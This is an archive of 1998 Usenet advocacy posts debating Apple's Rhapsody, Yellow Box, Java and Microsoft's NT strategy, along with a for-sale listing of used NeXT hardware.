I'd say it's more like he recognizes Java's mindshare, and that he'd better
have a "java story."
-> The old AppKit API's are going to fade away. You can do all that and more
in
-> Java 1.2, plus it'll run everywhere. The Java VM gives us a common media
-> to "play" software on. Java is like VHS, Yellow Box will be like Betamax.
That canard again! FYI: Beta went on to become the standard for ENG work,
and other segments of the professional video production business. Beta made
billions for Sony, and that ain't too shabby.
-jcr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 16:05:45 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4lqp$971$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k4ch9$71h$1@news.idiom.com> <6k4eg8$8q0$1@crib.bevc.blacksburg.va.us> <6k4j25$jkd$1@news.idiom.com>
In article <6k4j25$jkd$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com wrote:
> Nathan Urban may or may not have said:
> -> In article <6k4ch9$71h$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
> wrote:
> -> > FYI: The original NeXTSTEP/Intel port was done for well under $4 mil.
> -> > @$500/copy, they'd need to sell about 8,000 copies of the developer
> -> system to pay for the port. (Plus whatever marketing/overhead applies.)
> -> > Now, if they'd license *me* to do this, I'd put it out for HP-UX, DEC
> -> > UNIX, Linux and Slowlaris within a year.
> -> Have you asked? If there were third parties willing and _able_ to devote
> -> the time/money/resources/effort to doing a YB port to a new platform,
> -> maybe Apple would let them. Probably unlikely, but worth asking.
> Basically, I wouldn't start on such a project without ensuring that Apple
> couldn't put a bullet in its head if they changed their minds.
So don't, unless you and Apple agree on mutually satisfactory contractual
terms. If Apple doesn't agree to something reasonable then it's clearly
not worth the effort, but if they did, then it might.
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Fri, 22 May 1998 16:11:28 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2205981611290001@port17.dialb2.gain-ny.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu>
Mail-Copies-To: always
In article <6k3258$md9$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> : I can play MPEG-encoded sound files on a 604 without any noticible
> : affect on CPU speed (I am doing it as I type this), and of course
> : regular audio CD's don't use any CPU time at all (all done in CD-ROM
> : and fed as analog audio signal to sound-out port).
>
> Yes, but my CPU is 10X slower. Multiply your CPU load times 10 and then
> tell me that.
So the PPC is fast enough that it doesn't need a DSP to do the same kind
of things the Next-Cube did using a slow 68K. This is something you want
to complain about? Two chips are always better than one?
Plus, AltiVec is coming in a few months.
> Besides I was talking about reading a digital file
> from hard disk. I never mentioned using a CD-ROM drive.
If I can play MPEG from a digital-file, I'm sure I can play a CD-audio
digital-file as well. The processing load is much less, because the
encoding is much simpler.
> Could you point me to [PDF-based] printers?
I'm sorry, I don't have the reference handy. I'll try to find it.
> If there is an expensive app that is not used all the time, then you can
> buy one copy and have multiple users share it. MS *greatly* discourages
> this practice. It's very cost efficient, even if each copy costs more.
It seems a bit of a stretch to go all the trouble of retaining DSP just to
finess an MS licensing issue. It's really a problem for the MS licensing
dept to deal with.
BTW: Does MS support YellowBox on any platform? If not, why is its
licensing strategy relevent?
> If you can't see the .eps graphic in your edit window, then it is not
> visible. Previewing is a stupid idea.
Apple said that, while it would not be implementing a PostScript
interpreter as an import method as part of the OS, there is nothing to
stop a third-party from modifying GhostScript for that purpose.
Apparently, Apple could not include GhostScript on the OS for licensing
reasons.
--
mingo "at" panix "dot" com
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 19:38:37 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6mbl1t.rdr.jedi@dementia.mishnet>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com>
On Fri, 22 May 1998 16:25:59 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
>"John Saunders" <jws@jws.ultranet.com>, on Tue, 19 May 1998 22:34:10 >
>>
>>They've imbedded vital functionality into the operating system. Same as they
>>did with the file system. Or TCP/IP (remember when TCP/IP packages were Big
>>Things?). Same as with the Web. As customers demand new features, software
>>vendors should be allowed to include those features. Even if they're a
>>"monopoly".
>>
>
>Quite true. No different from embedding an email program, and several
>OSs have already done that. Of course, they were all designed for local
In Unix, Email programs are FAR from 'embedded'.
They are merely applications: transparently
replaceable at will. (although elm looks like
a bitch to build)
Exploder DLL's are nothing like %set VISUAL=emacs
or open standards for local or network mail transport.
>access, not network-transport based clients like POP email programs. Of
>course, Unix OSs also include a network transport based email SERVER
>system, but one can hardly expect NT to have EVEN THE MOST RUDIMENTARY
>EMAIL TRANSPORT SUPPORT; not when Exchange is so perfect for every
>possible application...
>
>I got off track. The reason this is wrong, John, and not just a matter
>of "vital functionality", is that this "vital functionality" is also
>marketed by Microsoft as a separate product, and that makes this
>_bundling_, not integrating, regardless of how closely intertwined the
>browser application (which also has email and news clients) and the
>operating system are.
>
>Is bundling wrong, is a company required to ask government permission to
>bundle products? Normally, no, but in this case Microsoft signed a
>legal contract stating that it would not do this very thing. Microsoft
>is allowed to "maintain" this monopoly in PC OSs, so long as they do not
>try to use it to monopolize other markets. The level to which they (and
>those who defend them) disregard this issue is astounding.
>--
>
>T. Max Devlin
>Hi-TECH Connections/Eltrax Systems
>*****************************************************
> - Opinions expressed are my own.
> Anyone else may use them only in
> accordance with licensing agreements. -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 15:18:21 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k44vt$q7t$1@ns3.vrx.net>
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<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
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<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
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Cc: mjpeck@nstar.net
In <3565BDD3.925B8057@nstar.net> "Michael J. Peck" claimed:
> Whatever. Forgive me if I say that your argument makes little sense.
Ok...
> Programmers don't choose platforms, universities and employers do.
For certain tasks. You chose one or another because it fits the TASK AT
HAND well (or you hope it does anyway). Sun sells to server users and
workstations, a market YB doesn't offer much if any help in. So I don't see
many people using it for it's own worth in the Solaris market.
On the other hand YB offers a lot into the YB market, where people are
writing applications and middlewear all the time, the exact places where YB
is strong. In other words - ignorning outside "events" for now - it's easy
to sell YB to Intel people in the majority, and hard to do the same to the
Solaris people.
And that's the point. People writing Win32 apps ARE NOT also writing
Solaris apps - the the VAST majority. So the fact that this package is also
available on Solaris is meaningless to the vast majority of potential users.
Heck, _Mac_ support is meaningless to the vast majority of people that should
be using it!
Do you not agree with this? I fully agree that having multiple platform
support is a reason to support a package by itself, but if the platforms you
support intersect only at a tiny point you're likely better off doing
something more for the ones where there's a lot of overlap.
There's a lot of overlap between the Mac and Win worlds. There's a smaller
overlap between them and the Linux worlds, but it's still definitely there -
heck, the iMac could be the force that creates USB, who knows, maybe a YB is
the force that makes Linux go through the roof. But that's about it. I
don't see any other obvious overlap areas where the benefit of supporting
platform x makes it a FAR better platform for developing on y. Maybe it's
just me.
> I don't understand the part about Solaris programmers, either. The whole
> point is that operating system is irrelevant. If you're a YB programmer,
> you're a YB programmer, I don't care if you came from Wintel or from
> Solaris. It makes no difference.
Sure, but to be a worthy competitor YB needs to bootstrap itself into the
market. I don't think "hey look, it runs on Solaris" will do that. I think
"hey look, it makes database programming a snap" will.
> Hmmm, right, it didn't raise any eyebrows that Java would run
> anywhere...
Been to Upside's web site lately?
> You've got it backwards.
Well I don't think so. Anyone else think so?
> > Apple has basically two paths, sales of Rhapsody related items, and
sales
> > of Mac related items.
>
> Ridiculous.
Are you willing to provide any evidence of this?
> Well, I can't prove it to you, so I guess you win. But you're very wrong
> anyway.
If you say so.
Maury
Date: Fri, 22 May 1998 15:14:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2205981514220001@wil124.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1> <3565BC52.B03EB5FC@nstar.net>
In article <3565BC52.B03EB5FC@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Microsoft's products are *BETTER*. I wonder that you can at once say "NT
> has a huge application base" and "Microsoft makes inferior products".
> That's a blatant contradiction. Microsoft makes products that are better
> for their customers and as a result their customers buy them.
Nonsense. You don't seem to be able to differentiate between quantity and
quality.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 13:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18B2E71-BDF9A@206.165.43.27>
References: <6k4ji6$jkd$2@news.idiom.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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John C. Randolph <jcr.remove@this.phrase.idiom.com> said:
>When Steve talks about "folding features of Rhapsody" into MacOS X, and
>then
>we find out upon a cursory examination that those features are basically
>the
>WHOLE THING except for the ability to use Postscrip binary object
>sequences
>(PSWraps), well....
>
>I'm not feeling screwed, but I can see how some of the Mac developers
>might.
I dont see why *Mac* developers would feel screwed, but some OpenStep
developers use PSwraps in their code, which might make things awkward for
them.
More importantly, WHICH computers will Rhapsody and MacOS X run on and
when?
And how much will YB cost on WIndowsXX?
THOSE are the issues that have developers a tad confused, I think...
The fact that Carbon will do away with 2000 system calls is of interest
only to those developers who specifically use those calls because they are
vital to what they do (e.g. GX is no longer supported in MacOS X so
GX-based apps will only run in the BLue Box (if there)).
Most MacOS developers aren't worried about Carbon, _per se_, but about the
long-term, cross-platform future of YB, and about which version of which OS
will run Carbon and which hardware will run Carbon in MacOS 8 and which
ahrdware will run Carbon in MacOS X.
There are a lot of things that concern MacOS developers but not the ones
that you seem to think...
I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: alvarez@iac.co.jp
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.marketplace,comp.sys.next.hardware,comp.sys.next.advocacy
Subject: FS : NeXT pricing
Date: Fri, 22 May 1998 20:11:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k4m4l$h3b$1@nnrp1.dejanews.com>
Dear Valued NeXT Consumer,
Acunet received a tremendous response to our NeXT offer.
A prospective buyer has offered to purchase the entire lot next
week.
Below are prices for the entire lot and 4 systems. Ideally, Acunet
would like to sell the entire lot.
STOCK Model Part # Desc UNIT SUM
7 n1000 23 Mono Computer Cube 200 1400
4 n2000 369 400 dpi Laser Printer 100 400
5 n4000 135 Mono MegaPixel, 2 channel audio 40 200
5 n4000a 1403 Mono MegaPixel, 2 channel audio 50 250
6 n4001 MegaPixel 17" color CRT 37.5 225
11 n4004a 1974 Sound Box 15 165
1 n4005a MegaPixel 21" color CRT 125 125
3 n4006 MegaPixel 17" color CRT 75 225
4 n8001-3658 ADB Keyboard 22.5 90
4 n8003 ADB Mouse 27.5 110
5 NextStation Turbo Color Slab 250 1250
6 2122 Keyboard 10 60
4 192 Keyboard 10 40
6 193 Mouse 27.5 165
7 NextStation Color Slab 200 1400
1 NextStation Slab 100 100
6 4536 Sound Box > CPU > CRT cable 27.5 105
1 150 mono cube cable monitor 25 25
1 1532 mono station monitor 10 10
1 374 printer cable? 25 25
2 NeXTSTEP v3.2 (CD-ROM) FREE FREE
2 Enterprise OBJ Framework v1.1 FREE FREE
LOT DISCOUNT PRICE for all of the above items is : $4500
Within the lot above we have setup 4 machines to demo which are avaiable as
follows :
SYSTEM PART PRICE
1 Turbo Color Slab $ 450
OpenStep v4.0
33 Mhz 68040 CPU
406 MB HDD
32 MB RAM
Laser Printer
ADB Keyboard n8001-3658
ADB Mouse n8003
ADB SoundBox n4004a
MegaPixel 17" Color CRT n4006
2 Turbo Color Slab $ 500
OpenStep v3.3
33 Mhz 68040 CPU
1 GB HDD
32 MB RAM
Laser Printer
ADB Keyboard n8001-3658
ADB Mouse n8003
ADB SoundBox n4004a
MegaPixel 17" Color CRT n4006
3 Turbo Color Slab $ 500
OpenStep v3.3
3 Turbo Color Slab $ 500
OpenStep v3.3
33 Mhz 68040 CPU
239 MB HDD
32 MB RAM
Laser Printer
ADB Keyboard n8001-3658
ADB Mouse n8003
ADB SoundBox n4004a
MegaPixel 21" Color CRT n4005a
4 Turbo Color Slab $ 500
OpenStep v3.3
33 Mhz 68040 CPU
1 GB HDD
32 MB RAM
Laser Printer
ADB Keyboard n8001-3658
ADB Mouse n8003
ADB SoundBox n4004a
MegaPixel 17" Color CRT n4001
If you need addition information or have questions, please call
Anthony Alvarez at Acunet Internet Commerce Services at :
(508) 490 7610 Ext. 7635. Thank you.
P.S. :
This liquidation is strictly as-is. All sales are final
Payment options :
Credit Cards: VISA, MasterCard, AMEX.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 20:51:37 GMT
Organization: Hummingbird Heaven
Message-ID: <6k4ogp$3dq@gap.cco.caltech.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <35633073.0@206.25.228.5> <rmcassid-2005981540580001@dante.eng.uci.edu> <3563c409.0@206.25.228.5>
Originator: shimpei@mirkwood.patnet.caltech.edu (Shimpei Yamashita)
>rmcassid@uci.edu (Robert Cassidy) wrote:
>> Uh, the Finder is *currently* replacable, I believe. There is
>> even a number of APIs to help you do it, has been for some years.
>> I don't know of anyone that has bothered, however as the Finder
>> delivers considerable functionality that would take a lot of
>> effort to undo.
>
>> For a *really* fun Finder replacement, you should be able to boot
>> straight into Virtual PC and mount your MacOS drive as a D: drive
>> via folder sharing. It only allows you access to your data, not
>> any ability to launch apps. But you really don't need the Finder
>> for that either.
True, but a number of programs send AppleEvents to the Finder to
launch other applications instead of launching them on their own, and
they get very confused when the Finder disappears from under their
feet. Many of the "launcher" programs are guilty of this, as I found
out the hard way when I installed an extension that kept crashing the
Finder. I couldn't keep working because the launcher program I was
using no longer launched new applications; I had to quit all the other
applications to force the Finder to restart.
--
Shimpei Yamashita <http://www.patnet.caltech.edu/%7Eshimpei/>
perl -w -e '$_="not a perl hacker\n";$q=qq;(.);x9;$qq=qq;345123h896789,;;;$s=
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From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
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<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <6k4kil$a9g3@odie.mcleod.net>
Message-ID: <fSl91.2260$Kx3.2391494@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 21:11:39 GMT
NNTP-Posting-Date: Fri, 22 May 1998 14:11:39 PDT
Organization: @Home Network
In <6k4kil$a9g3@odie.mcleod.net> "Michelle L. Buck" wrote:
[ depressing backstory clipped ]
>
> Apple purchased Next 5 to 10 years too late. Every feature of MacOS-X and
> more could have been shipped in 1990 before Windows really took off.
>
BS...1990 NeXTSTEP2.0 release which was barely able to handle its own serial
ports by NS2.2 they had the fastest version of NS I remember using on black
hdwe. The hardware requirements would have broke the wallets of 99% of
Apple's userbase in 1990 to run NS. I converted over from Mac to NS in 1990
and thought I'd died and gone to heaven. Until just now, the sub $1000 era,
when would you suggest would've been a better time? The timing is correct for
the computing architecture and market conditions.
It is irrelevent wrt. to Windows marketshare. It's legacy unix, GUI and PC
INcompatibility simply disqualified it for Business acceptance. It's weak
server performance disqualified it for Corporate duty. It excelled in its
breakthrough development/language paradigms and DSP capabilities. That is
what drove sales. No. NOT a Windows killer.
...nice try.
-r
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 21:15:28 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3565EAF0.282C4C33@nstar.net>
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NNTP-Posting-Date: 22 May 1998 21:20:14 GMT
Maury Markowitz wrote:
[cut]
> Do you not agree with this?
Well...yeah, I really do. But I'm trying to come at it from a different
angle...
> I fully agree that having multiple platform
> support is a reason to support a package by itself,
There, that's the crux of it.
> but if the platforms you
> support intersect only at a tiny point you're likely better off doing
> something more for the ones where there's a lot of overlap.
But the whole reason for going to NT is market coverage. If you can get
more coverage from Yellow Box, why not? Especially when the testimonials
of rapid development times begin to roll in.
> There's a lot of overlap between the Mac and Win worlds. There's a smaller
> overlap between them and the Linux worlds, but it's still definitely there -
> heck, the iMac could be the force that creates USB, who knows, maybe a YB is
> the force that makes Linux go through the roof.
Right, another piece of the puzzle: Linux. A popular platform with
rapidly growing support.
> But that's about it. I
> don't see any other obvious overlap areas where the benefit of supporting
> platform x makes it a FAR better platform for developing on y. Maybe it's
> just me.
No, but let me explain a concept I'm finding difficult to put into
words. It goes like this: 100% is better than 90%, and what makes it
better is more than just 10%. The value increase from 90% to 100% is
greater than that from 80% to 90%, am I right? I think that 100% is the
concept that sold Java three years ago, and it can sell Yellow Box
today.
Plus, you have so much more momentum to put to use. You have Linux, you
have QuickTime, you have the Apple income stream, you have Java itself,
and you have Windows NT! Why not put Windows NT to work selling Yellow
Box? It can happen. It just needs to be figured out.
> Sure, but to be a worthy competitor YB needs to bootstrap itself into the
> market. I don't think "hey look, it runs on Solaris" will do that. I think
> "hey look, it makes database programming a snap" will.
True! Which makes me wonder why we don't hear more about how easy Yellow
Box is to use (in terms of specific stuff in the marketplace). I can't
help thinking that if Apple had spent some money getting someone to port
to Yellow Box (no matter how much it took) it would have been such an
important example.
Remember how much effort Intel went to to get Adobe Photoshop ready for
MMX benchmarks? That's the kind of thing Apple should be doing. Why
aren't they? Adobe's not a good example for Yellow Box, but...Intuit is,
for instance.
> > Hmmm, right, it didn't raise any eyebrows that Java would run
> > anywhere...
>
> Been to Upside's web site lately?
If it's the same stuff we normally see, they're trying to debunk the
Java Everywhere thing. That's a separate discussion, and I think they're
wrong, to make a long story short.
But it *is* a separate issue: the original excitement, the kickstart,
that's what I'm talking about. Yellow Box has been nothing but a cold
fish. I understand some of the intricacies of Jobs' position, but
c'mon...
> > > Apple has basically two paths, sales of Rhapsody related items, and
> sales
> > > of Mac related items.
> >
> > Ridiculous.
>
> Are you willing to provide any evidence of this?
Let me put it this way: there's no point in a dual-platform strategy. It
makes no sense. Heck, a one-platform strategy makes little sense, in my
opinion. What I want is an all-encompassing platform, the grail
everyone's currently looking for. It's not like people don't understand
how much different platforms are costing them in terms of development.
That's the whole impetus toward NT. Simply adding two more platforms to
the mix is what I call "ridiculous".
Steve Jobs *does* need to milk MacOS and move on, without all the
bone-chilling implications of that statement. Do what Amelio promised
originally please! Support MacOS indefinitely, but start pushing Yellow
Box as the universal platform. It makes so much sense.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
From: edew@netcom.com (Eric Dew)
Subject: WinNT's telnet (was: Re: APPLE is forcing best os ... into obscurity!!)
Message-ID: <edewEtDKGM.Dxp@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6jtlb0$dc7$3@nntp2.ba.best.com> <199805212152591422764@[193.216.37.99]> <EtC00x.9EG@basil.icce.dev.rug.null.nl>
Date: Fri, 22 May 1998 20:19:34 GMT
Sender: edew@netcom10.netcom.com
In article <EtC00x.9EG@basil.icce.dev.rug.null.nl> tom@basil.icce.dev.rug.null.nl (Tom Hageman) writes:
>tsivertsen@mail.c2i.net (Thomas Sivertsen) wrote:
>> Read the above... BTW; telnet is "built-in" on NT...
>
>BWAAAA HA HA HA HA...
>
>(Sorry 'bout that. I just had the "pleasure" of having to work with NT's
>incredibly primitive telnet client. Broken vt100 emulation. It doesn't even
>save its options, so you're forced to re-set them every time you open a new
>telnet window if you want anything other than 25x80 (Though I'm sure someone
>now tells me how to find the obscure setup panel. Don't you love setup
>separate from applications themselves?-). The completely gratuitous scrollbars
>it adds when you make it bigger, forcing you to manually shrink and resize the
>window _to the exact same size it had before_ to get rid of them. It does not
>report the actual window size to other side. You cannot make it wider than 80
>columns. Did I mention its broken vt100 emulation?)
>
>Anyway I feel a lot better now since I wheeled in my OPENSTEP box running
>Terminal.app (well, Stuart actually;-), thank you very much.
>
Yup. I have to use the telnet on WinNT at work. What a joke. You know it
can't accept too many lines when copy-pasting? I set my font size to 6 and
font type to terminal. Everytime I open a new telnet session, I have to click
Terminal then Preferences then fonts then OK then OK so that the fonts will
show up readable. Everytime. There is no known place where I can set this
so I don't have to do it.
Feature-wise, there is no way to store more than the 24 lines you see on
screen. There is no way to increase more than 80 columns per line. It's
a cheap trinket of a toy. I wonder when they are going to innovate?
EDEW
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 21:44:14 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3565F1AE.83D9D1A8@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1> <3565BC52.B03EB5FC@nstar.net> <joe.ragosta-2205981514220001@wil124.dol.net>
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NNTP-Posting-Date: 22 May 1998 21:48:56 GMT
Joe Ragosta wrote:
>
> In article <3565BC52.B03EB5FC@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> > Microsoft's products are *BETTER*. I wonder that you can at once say "NT
> > has a huge application base" and "Microsoft makes inferior products".
> > That's a blatant contradiction. Microsoft makes products that are better
> > for their customers and as a result their customers buy them.
>
> Nonsense. You don't seem to be able to differentiate between quantity and
> quality.
You don't seem to be able to understand that sometimes (not always),
quantity *does* equal quality.
And that's just part of the entire value proposition of Windows NT.
Something else you apparently missed.
MJP
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 22 May 1998 16:41:24 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <3565F104.6737@globaldialog.com>
References: <6k4ji6$jkd$2@news.idiom.com> <B18B2E71-BDF9A@206.165.43.27>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Lawson English wrote:
>
> More importantly, WHICH computers will Rhapsody and MacOS X run on and
> when?
>
> And how much will YB cost on WIndowsXX?
>
> THOSE are the issues that have developers a tad confused, I think...
>
etc.
It seems Apple is always keeping its developers and users in a constant
state of confusion. How the hell can you run a business that way?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 18:02:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4sku$9jj$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <3565BC52.B03EB5FC@nstar.net>
In article <3565BC52.B03EB5FC@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net> wrote:
> Microsoft's products are *BETTER*. I wonder that you can at once say "NT
> has a huge application base" and "Microsoft makes inferior products".
> That's a blatant contradiction. Microsoft makes products that are better
> for their customers and as a result their customers buy them.
> [...]
> Because from where I stand, if you work at Sun, HP, IBM, or SGI writing
> operating systems and UNIX software, you just plain suck. Either that or
> your management sucks, doesn't make a difference to me. The stuff you're
> turning out is useless to 99% of the world.
Your whole argument is bogus. Microsoft's solutions aren't "better".
They don't make products that are "better for their customers", they
just leverage the fact that everyone is locked into using Windows and
their data formats are de facto standard. You argue "Microsoft products
are better for customers because everyone has to use Microsoft products",
which is completely circular. And NT doesn't have a huge application
base because it's a superior product, unless you tautologously _define_
"superior" to mean "huge application base", which is what you're
apparently doing.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 18:03:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4sne$9kd$1@crib.bevc.blacksburg.va.us>
References: <6k4ji6$jkd$2@news.idiom.com> <B18B2E71-BDF9A@206.165.43.27> <3565F104.6737@globaldialog.com>
In article <3565F104.6737@globaldialog.com>, webnik@globaldialog.com wrote:
> Lawson English wrote:
> > More importantly, WHICH computers will Rhapsody and MacOS X run on and
> > when?
> > And how much will YB cost on WIndowsXX?
> It seems Apple is always keeping its developers and users in a constant
> state of confusion.
No, it's just Lawson who's confused, as usual.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
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References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com>
<1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com>
<355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu>
Message-ID: <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 22:06:26 GMT
NNTP-Posting-Date: Fri, 22 May 1998 15:06:26 PDT
Organization: @Home Network
In <rmcassid-1805981655100001@dante.eng.uci.edu> Robert Cassidy wrote:
> In article <355FC790.47AFED2F@trilithon.com>, Henry McGilton
> <henry@trilithon.com> wrote:
>
> >Rex Riley wrote:
> >
> > * Did I miss a friendly bet... ? I'm stating my assertions
> > * with target numbers.
> >Where did you get your target numbers, Rex?
> >
> > * You're a *numbers* kinda guy, where are your targets?
> > * Is Apple going up or going down?
> >Up. Two-year target --- $60.
> >
> >I'm probably safe in this prediction (mostly) because most of the
> >posters (I hesitate to call them contributors) to this newsgroup
> >appear to have an attention-span of around ten seconds. So Rex,
